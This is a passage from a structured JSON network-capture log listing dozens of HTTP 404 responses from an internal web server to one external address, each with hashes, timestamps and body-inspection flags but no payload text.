          "frame_number": 858,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255732.857484000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "867",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57683,
          "event_id": "evt-c5f7ea61c8f793a4c89e6941",
          "src_port": 80,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 869,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255749.818119000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "871",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57683,
          "event_id": "evt-6fff0daadae56cfdf0729812",
          "src_port": 80,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 872,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255753.765734000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "874",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57683,
          "event_id": "evt-23863ab3a8d823b7e30c2a7e",
          "src_port": 80,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 875,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255754.834503000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "877",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57683,
          "event_id": "evt-73a9d597b0c177d4b69f4660",
          "src_port": 80,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 878,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255755.114408000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "880",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57683,
          "event_id": "evt-d9cb8066ccd70693e7fe452a",
          "src_port": 80,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 881,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255755.394836000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "883",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57683,
          "event_id": "evt-ace74bfa6f74d0823a0fa3b5",
          "src_port": 80,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 885,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255757.690385000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "887",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57683,
          "event_id": "evt-e73ba5292d9cab71a838d837",
          "src_port": 80,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 888,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255757.982565000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "890",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57683,
          "event_id": "evt-16d206a98c17603c146f775e",
          "src_port": 80,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 891,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255759.862190000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "893",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57683,
          "event_id": "evt-025e0a36488599d304501749",
          "src_port": 80,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 894,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255760.142036000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "896",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57683,
          "event_id": "evt-8719962ecfff261f56f8bc38",
          "src_port": 80,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 897,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255761.065239000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "899",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57683,
          "event_id": "evt-d47572fde4e4bf373cf5165f",
          "src_port": 80,
          "tcp_stream": 28,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 900,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255761.724541000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "907",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 60221,
          "event_id": "evt-02a14bc1caf887157d8148f2",
          "src_port": 80,
          "tcp_stream": 29,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 909,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255770.764041000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "917",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-c86ed9af71a10d6b9704c3e0",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 919,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255771.322002000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "921",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-bc0ce1606cb69f3422fd7354",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 922,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255772.361347000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "924",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-ae4c76e107a29a8924b6fd7d",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 925,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255774.767387000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "927",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-98a572f8445a24227498aa4c",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 928,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255776.081136000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "930",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-5edf1ef7b5a63faead0b976e",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 931,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255776.487781000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "933",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-05e1abb1d96d1b5c03fb1438",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 934,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255776.976094000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "936",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-91a3498f579ab72db8bf461c",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 937,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255777.662510000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "939",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-3e850000bfc40b638d7b3bf9",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 940,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255777.946704000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "942",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-19475036943dbce2c750919f",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 943,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255778.226856000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "944",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-764cf003e890fe8eb483f33a",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 945,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255779.157972000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "947",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-5712f69bdef80b167999403c",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 948,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255780.373027000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "950",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-a2961fc83aa1e3ec5fd1c70e",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 951,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255780.656113000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "953",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-f9714ecb856b231db17a4054",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 955,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255781.487640000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "957",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-798203fb9cee5d5c5b9d0eef",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 958,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255781.771041000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "960",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-c369994bbcc3552462ce1caf",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 961,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255783.117909000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "963",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-45137da411b84fe2227898b3",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 964,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255783.397101000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "966",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-6bca76986a9de1a87ad63d37",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 967,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255785.728078000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "969",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-99243c9d306f68025aa254ee",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 970,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255786.262885000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "972",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-cb8afcdbe664acd0a7f1cd49",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 973,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255786.552213000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "975",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-47dcc70fe1627421e7f0893b",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 976,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255786.831638000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "978",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-2f19dd5c7d87811b63947753",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 979,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255787.629786000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "981",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-f43ba2eab0696ce8994581c2",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 982,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255787.909391000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "984",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-e0a0029e58446a2943cd4556",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 985,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255788.861424000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "987",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61333,
          "event_id": "evt-7090f711f535086934064465",
          "src_port": 80,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 988,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
